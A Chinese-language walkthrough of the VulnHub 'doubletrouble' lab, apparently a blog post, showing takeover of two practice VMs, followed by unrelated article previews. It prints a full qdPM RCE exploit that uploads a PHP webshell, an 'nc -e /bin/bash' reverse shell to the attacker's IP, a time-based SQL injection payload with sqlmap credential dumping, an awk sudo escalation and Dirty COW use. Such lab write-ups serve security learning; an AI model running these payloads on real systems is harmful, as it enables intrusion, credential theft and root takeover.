打靶记录13——doubletrouble
靶机:
https://www.vulnhub.com/entry/doubletrouble-1,743/
难度:
- 中
目标:
- 取得两台靶机 root 权限
涉及攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- 开源CMS漏洞利用
- 隐写术
- 密码爆破
- GTFObins提权
- SQL盲注
- 脏牛提权
学习记录(nc):
nc
命令用来传文件,在很多时候传大文件的时候往往比用python
来启用HTTP
服务来传输的效果更好,而且nc
几乎在所有的Linux
系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.0.103
nmap -p22,80 -sV -sC 192.168.0.103
qdPM
是一个开源、免费,基于Web
的项目管理工具,其实也就是一个cms
系统“CMS(Content Management System,内容管理系统)是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理,允许用户无需编写代码即可创建和管理网站内容。”
查看release notes
,可能会告诉我们它在新版本当中修复了哪些漏洞,然后又增加了哪些新功能,这样就会帮助我们去找到攻击渗透的入口点。
发现有一个/install
路径和/core/cache/qdPM/
路径
/core/cache/qdPM/
路径只能查看到文件名称,无法看到源码
这里有一个token234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA
,收集记录下来
searchsploit qdpm
搜索漏洞库,发现9.1
版本有RCE
远程代码执行漏洞
把它们复制到当前目录里查看
发现是同一个CVE
漏洞编码,只是使用的Python
版本不一样,并且是需要登录之后Authenticated
才能够利用成功的,网上搜索这个Web应用程序的默认的账号密码去登录也失败了
sudo dirsearch -u http://192.168.0.103/
搜索目录,发现一个/secret/
路径,有一张图片!
steghide info doubletrouble.jpg
,查看图片发现能容下4.7K
的隐写数据,但是需要密码。
stegseek --crack doubletrouble.jpg rockyou.txt
一秒钟破解出密码92camaro
stegseek --crack doubletrouble.jpg rockyou.txt -xf file
将隐写内容提取出来并命名为file
,查看file
文件获得账号密码otisrush@localhost.com``otis666
用这个账号密码成功登录Web
应用的后台,那么我们就可以利用刚刚的两个python
脚本来进行漏洞的利用了。
mousepad 50175.py
编辑一下这个文件,里面的很多处的代码缩进有问题,需要手动修改一下
修改好之后的代码应该是这样的
# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution#!/usr/bin/python3import sys
import requests
from lxml import html
from argparse import ArgumentParsersession_requests = requests.session()def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):request_1 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, uservar),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[remove_photo]': (None, '1'),}return request_1def req(userid, username, csrftoken_, EMAIL, HOSTNAME):request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)request_3 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, ''),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[photo]': ('backdoor.php','<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream'),}upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)def main(HOSTNAME, EMAIL, PASSWORD):url = HOSTNAME + '/index.php/login'result = session_requests.get(url)#print(result.text)login_tree = html.fromstring(result.text)authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))# The designated admin account does not have a myAccount pageaccount_page = session_requests.get(HOSTNAME + 'index.php/myAccount')account_tree = html.fromstring(account_page.content)userid = account_tree.xpath("//input[@name='users[id]']/@value")username = account_tree.xpath("//input[@name='users[name]']/@value")csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")req(userid, username, csrftoken_, EMAIL, HOSTNAME)get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')final_tree = html.fromstring(get_file.content)backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')if __name__ == '__main__':print("You are not able to use the designated admin account because they do not have a myAccount page.\n")parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')parser.add_argument('-url', '--host', dest='hostname', help='Project URL')parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')parser.add_argument('-p', '--password', dest='password', help='User password')args = parser.parse_args()# Added detection if the arguments are passed and populated, if not display the argumentsif (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):main(args.hostname, args.email, args.password)else:parser.print_help()
python3 50175.py
可以正常运行了,那么给它加上参数来使用
python3 50175.py -url http://192.168.0.103/ -u otisrush@localhost.com -p otis666
成功创建了一个后门文件,上传了一个Webshell
成功的任意命令执行
反弹shell
?cmd=which nc
发现存在nc
命令
?cmd=nc -e /bin/bash 192.168.0.101 4444
反弹shell
python3 -c "import pty;pty.spawn('/bin/bash')"
升级一下shell
提权
sudo -l
https://gtfobins.github.io/gtfobins/awk/#sudo
可以用Gtfobins
来提权
sudo awk 'BEGIN {system("/bin/bash")}'
幸福来得太突然,成功获取root
权限!
在/root
目录发现第二个ova
格式的文件,那需要把它下载下来再导入VirtualBox
当中
学习记录(nc):
nc
命令用来传文件,在很多时候传大文件的时候往往比用python
来启用HTTP
服务来传输的效果更好,而且nc
几乎在所有的Linux
系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件
nc -lvnp 4444 > second.ova
首先在kali
启动侦听,准备接收文件
然后在靶机nc 192.168.0.101 4444 < doubletrouble.ova -w 1
传输文件,-w 1
参数的意思是当文件传输完毕之后隔一秒钟就断开连接
md5sum second.ova
传输完成之后检查md5
是否一致,一致就说明文件没有经过任何修改
那么接下来就把它导入到VirtualBox
当中去
第二次主机发现
sudo arp-scan -l
发现它的IP
地址192.168.0.104
第二次端口扫描和服务发现
sudo nmap -p- 192.168.0.104
sudo nmap -p22,80 -sV -sC 192.168.0.104
首先对80
端口发起攻击,发现页面挺简单的,一个登录框
万能密码无法绕过来进行登录,源码也没有有价值的信息
sudo dirsearch -u http://192.168.0.104/
尝试进行目录扫描,发现有/cgi-bin/
然后sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh
对这个目录进行扫描,看看有没有破壳漏洞,但是一无所获
那还是把目光放到唯一的登录页面上去吧,启动BurpSuite
在登录的时候抓包
SQL盲注(时间盲注)
输入payloaduname=' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这段代码实际上是一个SQL注入(SQL Injection)的payload,用于测试或利用数据库查询的漏洞。具体来说,这是一个时间盲注(Time-based Blind SQL Injection)的示例。在这种注入类型中,攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。
代码解析
' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
让我们逐步分解这一段代码:
- **起始单引号 **
**'**
:- 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如,如果原SQL查询是:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
注入攻击会这样插入单引号,使其变成:
SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
- AND:
- 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。
- (SELECT x FROM (SELECT (SLEEP(10)))XZ):
- 这是一个子查询。让我们进一步分解:
- (SELECT (SLEEP(10))):
- 这部分是一个内嵌子查询。
SLEEP(10)
是一个数据库函数,通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。
- 这部分是一个内嵌子查询。
- (SELECT x FROM … XZ):
- 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(
x
),并将结果命名为XZ
。
- 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(
- (SELECT (SLEEP(10))):
- 这是一个子查询。让我们进一步分解:
- #:
- 这是SQL中的注释符号,表示后面的内容都是注释,不会被执行。这可以帮助攻击者忽略掉后面的代码,防止引起语法错误。
最终结果
将这段注入代码插入到原来的查询中,例如:
SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这会导致数据库服务器执行如下操作:
- 查询用户表(users),查找用户名为’admin’且密码为空的记录。
- 同时,执行子查询
(SELECT x FROM (SELECT (SLEEP(10)))XZ)
。 - 由于
SLEEP(10)
函数的存在,数据库服务器会暂停执行10秒。 - 如果数据库服务器响应时间的延迟符合预期,攻击者可以推断出注入点是可行的。
应用情境
这种时间盲注技术通常用于:
- 确认注入点:通过观察响应时间的延迟,攻击者可以确认注入点是否存在。
- 提取数据:在更复杂的情况下,攻击者可以通过多次注入、观察响应时间,逐步提取出数据库中的敏感信息。
发现服务器确实10s
之后才响应,说明SLEEP(10)
函数被数据库给执行了,这样就可以基于这个时间去尝试问服务器,说你的当前数据库的名称的第一个字母是不是a
,是不是b
,是不是c
…挨个字符来进行探测,经过大量的同步的探测,就可以在指定的时间范围之内,把目标系统所有的数据库的信息等等其他的库名,表名等内容全都给它榨取,提取出来。
把相同的payload
放到psw
里也是一样的延迟几秒才响应。
psw=' AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)#
把前面的数据包保存为1.txt
,让sqlmap
去跑``
跑出来是mysql
数据库了
接下来爆库sqlmap -r 1.txt -p uname --dbms mysql --dbs
**-p uname**
:- 指定注入点参数。在这个例子中,
uname
是要测试SQL注入漏洞的参数。例如,如果HTTP请求包含uname=admin
,sqlmap
将尝试在这个参数的位置进行SQL注入。
- 指定注入点参数。在这个例子中,
**--dbms mysql**
:- 明确指定目标数据库管理系统为MySQL。这可以帮助
sqlmap
优化注入测试,因为不同的DBMS有不同的SQL语法和功能。
- 明确指定目标数据库管理系统为MySQL。这可以帮助
**--dbs**
:- 命令
sqlmap
列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后,枚举数据库。
- 命令
发现两个数据库doubletrouble
和information_schema
接下来爆表sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables
发现一个表users
接下来爆列名sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns
发现password``username
这两列
那我们不管了直接dump
下来
sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump
获得两对账号密码:
montreux``GfsZxc1
ZubZub99``clapton
用这些个账号密码登录Web页面失败,但是想起前面信息收集端口扫描的时候,发现22
端口是开放的,管理员可能会对账号密码进行复用
ssh clapton@192.168.0.104
登录,使用密码ZubZub99
成功登录
提权(脏牛漏洞):
uname -a
发现内核版本是3.2.0
利用nc
把exp
传输过去
gcc -pthread exp.c -o exp -lcrypt
在靶机生成一个exp
可执行文件
命令解析
**gcc**
:- GNU编译器集合(GNU Compiler Collection)。这是用于编译C和C++代码的编译器。
**-pthread**
:- 这个选项告诉编译器使用POSIX线程库(pthread)。这是线程编程时常用的库,允许程序创建和控制多个线程。
**exp.c**
:- 源代码文件名。这个文件包含了C语言编写的代码。
**-o exp**
:- 指定输出文件名为
exp
。编译后的可执行文件将被命名为exp
。如果没有这个选项,默认输出文件名为a.out
。
- 指定输出文件名为
**-lcrypt**
:- 这个选项告诉编译器链接
crypt
库。crypt
是一个用于加密的库,通常用于处理密码加密和解密。在一些系统中,它可能是libcrypt.so
或libcrypt.a
。
- 这个选项告诉编译器链接
chmod +x exp
赋予可执行权限
./exp pass
设置密码为pass
根据脏牛漏洞的利用代码,一旦我们执行./exp pass
,它就会使用一个叫firefart
的账号来替换目标操作系统的root
账号,并拥有root
账号的uid``gid
以及所有的权限,然后会自动备份一下当前操作系统的/etc/passwd
文件到/tmp/passwd.bak
,如下图所示。
ssh firefart@192.168.0.104
登录目标系统
如果是一次护网比赛,或者是一次授权的渗透项目的话,推荐将/tmp
目录下已经备份的passwd.bak
这个文件给它重新覆盖回原来的/etc/passwd
文件,这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的root
账号本身。
cp /tmp/passwd.bak /etc/passwd
拷贝回来之后
passwd
重新设置root
账号的密码为123456
退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞,而是直接使用root
账号来进行登录
ssh root@192.168.0.104
查看/root
目录下的文件,logdel2
看起来是一个日志清理的脚本,我们不关心它。
查看root.txt
这个flag
文件,打靶完毕!
完毕!
相关文章:

打靶记录13——doubletrouble
靶机: https://www.vulnhub.com/entry/doubletrouble-1,743/ 难度: 中 目标: 取得两台靶机 root 权限 涉及攻击方法: 主机发现端口扫描Web信息收集开源CMS漏洞利用隐写术密码爆破GTFObins提权SQL盲注脏牛提权 学习记录&am…...

awk文本处理工具
awk 是一个强大的文本处理工具,在Shell编程中常用于处理和分析文本数据。它可以按列处理数据,进行模式匹配,生成报告,执行计算等。以下是一些 awk 的主要功能和使用场景: 期待您的关注 美好的观念较美人尤为可爱 目录 …...

计算机毕业设计选题推荐-学院网站系统-Java/Python项目实战
✨作者主页:IT毕设梦工厂✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...

Spring模块详解Ⅰ
目录 SpringSpring框架的主要功能模块1. Core Container(核心容器)2. Data Access/Integration(数据访问与集成)3. Web4. AOP (Aspect-Oriented Programming,面向切面编程)5. Instrumentation(工具集&#…...

C语言程序设计-练习篇
山海自有归期,风雨自有相逢。 一 下面代码的结果是什么? int main() { int i 0; for (i 0; i < 10; i) { if (i 5) //此处为赋值,i 5表达式结果为5 printf("%d ", i); //表达式为真&a…...

【Oracle篇】统计信息和动态采样的深度剖析(第一篇,总共六篇)
💫《博主介绍》:✨又是一天没白过,我是奈斯,DBA一名✨ 💫《擅长领域》:✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux,也在扩展大数据方向的知识面✌️…...

无源互调自动化测试软件应用案例分享:S参数和互调的高效测试
随着产品种类的丰富和市场需求的变化,合肥某电子技术公司意识到,传统的手工测试已无法满足公司持续发展的需要。于是,一场自动化测试转型悄然展开。 一、背景介绍 合肥某电子技术公司成立于2009年,专注于功分器、耦合器、负载器、…...

【6大设计原则】精通设计模式之里氏代换原则:从理论到实践,掌握代码演化的黄金法则
一、引言 1.1 设计模式的必要性 在软件开发的复杂性面前,设计模式提供了一套成熟的解决方案,它们是经过多年实践总结出来的,能够帮助我们应对各种编程难题。设计模式不仅仅是一种编程技巧,更是一种编程哲学,它能够提…...

国内服务器安装Docker提示Failed to connect to download.docker.com port 443的解决方案
解决方案 换国内镜像源。我用的是清华的。https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ 自己找自己对应的版本。 例如你的Ubuntu系统。就用下列命令 sudo curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg -o /etc/apt/keyrings/do…...

前端开发攻略---彻底弄懂跨域解决方案
目录 1、浏览器的同源策略 1.1 源 1.2 同源与非同源 1.3 同源请求与非同源请求 2、跨域受到的限制 3、注意点 4、CORS解决Ajax跨域问题 4.1 CORS概述 4.2 CORS解决简单请求跨域 4.3 简单请求与复杂请求 4.4 CORS解决复杂请求跨域 4.5 借助CORS库快速完成配置 5、JS…...

【HeadFirst 设计模式】装饰者模式的C++实现
一、案例背景 Starbuzz是以扩张速度最快而闻名的咖啡连锁店。如果你在街角看到它的店,在对面街上肯定还会看到另一家。因为扩张速度实在太快了,他们准备更新订单系统,以合乎他们的饮料供应要求。他们原先的类设计是这样的…… 购买咖啡时&am…...

大白话解释TCP的三次握手和四次挥手
你好,我是沐爸,欢迎点赞、收藏和关注。个人知乎 TCP的三次握手是浏览器与服务器建立连接的过程,而四次挥手,是两者断开连接的过程。今天把客户端和服务端当做两个人,通过打电话的方式解释连接建立和断开的过程。 TCP…...

asyncua模块实现OPC UA通讯
asyncua是OPCUA的python实现,使用起来非常方便,其github地址是https://github.com/FreeOpcUa/opcua-asyncio UaExpert是OPC UA Client的GUI工具,当编写好server代码后并运行,我们可以使用UaExpert去和server进行通信。UaExpert使…...

RabbitMQ的核心概念
RabbitMQ是一个消息中间件,也是一个生产者消费者模型,负责接收,存储和转发消息。 核心概念 Producer 生产者,是RabbitMQ Server的客户端,向RabbitMQ发送消息。 Consumer 消费者,是RabbitMQ Server的客…...

【vSphere 7/8】深入浅出 vSphere 证书 Ⅰ—— 初识和了解 vSphere证书
目录 摘要1. vSphere 安全证书1.1 vSphere 安全证书的类型和有效期 2. 在 vSphere Client 中初识 vSphere 证书2.1 vCenter 8.0.3 的 vSphere Client 界面2.2 vCenter Server 7.0 Update2 到 vCenter Server 8.0 Update 2 的 vSphere Client 界面2.3 vCenter Server 7.0 到 vCe…...

【云备份】服务端模块-热点管理
文章目录 0.回顾extern1.介绍2.实现思想3.代码测试代码 热点管理总结 0.回顾extern extern cloudBackup::DataManager *_dataManager extern 关键字用于声明一个全局变量或对象,而不定义它。这意味着 _dataManager 是一个指向 cloudBackup::DataManager 类型的指针…...

call apply bind特性及手动实现
call // 原生的call var foo { value: 1 };function bar(...args) {console.log("this", this.value, args); }bar.call(foo)// call 改变了bar的this指向 // bar函数执行了 // 等价于 // var foo { // name: "tengzhu", // sex: "man", …...

pygame开发课程系列(5): 游戏逻辑
第五章 游戏逻辑 在本章中,我们将探讨游戏开发中的核心逻辑,包括碰撞检测、分数系统和游戏状态管理。这些元素不仅是游戏功能的关键,还能显著提升游戏的趣味性和挑战性。 5.1 碰撞检测 碰撞检测是游戏开发中的一个重要方面,它用…...

嵌入式系统实时任务调度算法优化与实现
嵌入式系统实时任务调度算法优化与实现 目录 嵌入式系统实时任务调度算法优化与实现 引言 1.1 嵌入式系统的重要性 1.2 实时任务调度的重要性 实时任务的定义与分类 2.1 实时任务的定义 2.2 实时任务的分类 2.3 实时任务的其他分类方法 硬实时与软实时系统 3.1 硬实…...

Java:枚举转换
在Java中,你可以使用Enum.valueOf()方法将字符串转换为枚举常量。但是,如果你想要将枚举转换为其他类型,你需要自定义转换方法。以下是一个简单的例子,演示如何将枚举转换为整数: public enum Color {RED(1), GREEN(2…...

Vue、react父子组件生命周期
Vue 的父子组件生命周期 以下分为三部分,加载渲染阶段——更新阶段——销毁阶段,我们来一一介绍: 1、加载渲染阶段 在加载渲染阶段,一定得等子组件挂载完毕后,父组件才能挂载完毕,所以父组件的 mounted 在…...

HTML 基础要素解析
目录 HTML 初步认识 纯文本文件介绍 纯文本文件与其它文件的区别 Html介绍 HTML 骨架 文档类型(!DOCTYPE)声明 介绍 常用的 DOCTYPE 声明 meta标签 字符集 关键字和页面描述 HTML 初步认识 纯文本文件介绍 纯文本文件指的是仅包含文本内容&am…...

开源的向量数据库Milvus
Milvus是一款开源的向量数据库,专为处理向量搜索任务而设计,尤其擅长处理大规模向量数据的相似度检索。 官网地址:https://milvus.io/ 以下是关于Milvus的详细介绍: 一、基本概念 向量数据库:Milvus是一款云原生向量…...

设计模式-工厂方法
“对象创建”模式 通过“对象创建”模式绕开new,来避免对象创建(new)过程中所导致的紧耦合(依赖具体类),从而支持对象创建的稳定。它是接口抽象之后的第一步工作。典型模式 Factory MethodAbstract Factory…...

Flask SQLALchemy 的使用
Flask SQLALchemy 的使用 安装 Flask-SQLAlchemy配置 Flask-SQLAlchemy定义模型创建数据库和表插入和查询数据更新和删除数据迁移数据库总结Flask-SQLAlchemy 是一个 Flask 扩展,它简化了 Flask 应用中 SQLAlchemy 的使用。SQLAlchemy 是一个强大的 SQL 工具包和对象关系映射(…...

Metasploit漏洞利用系列(一):MSF完美升级及目录结构深度解读
在信息安全领域,MetasploitFramework(MSF)是一个无处不在的工具,它集合了大量的渗透测试和漏洞利用模块,帮助安全专家识别和利用系统中的弱点。本文将深入探讨如何对Metasploit进行完美升级,以及对其核心目…...

C/C++|经典代码题(动态资源的双重释放与「按值传递、按引用传递、智能指针的使用」)
以下代码中你能看出其存在什么问题?如何修复,能给出几种方法?分别在什么场景下用哪种方法。 #include <iostream>class Buffer {public:Buffer() { std::cout << "Buffer created" << std::endl; }~Buffer() { s…...

西北乱跑娃 -- linux使用笔记
1.后台运行每天一个日志文件 nohup python3.8 manage.py >> $(date %Y-%m-%d).log 2>&1 &2.目录操作: ls:列出目录内容。cd:改变当前工作目录。pwd:显示当前工作目录的路径。mkdir:创建新目录。rmd…...

Kubectl基础命令使用
一.Kubectl 基础命令 格式: kubectl [command] [TYPE] [NAME] [FLAGS] kubectl 是 Kubernetes 的命令行工具,用于管理 Kubernetes 集群。以下是一些常用的 kubectl 命令及其选项: 常用命令 获取资源 列出所有资源类型(Pods、De…...

推荐编译器插件:Fitten Code 更快更好的AI助手
✨✨ 欢迎大家来访Srlua的博文(づ ̄3 ̄)づ╭❤~✨✨ 🌟🌟 欢迎各位亲爱的读者,感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢,在这里我会分享我的知识和经验。&am…...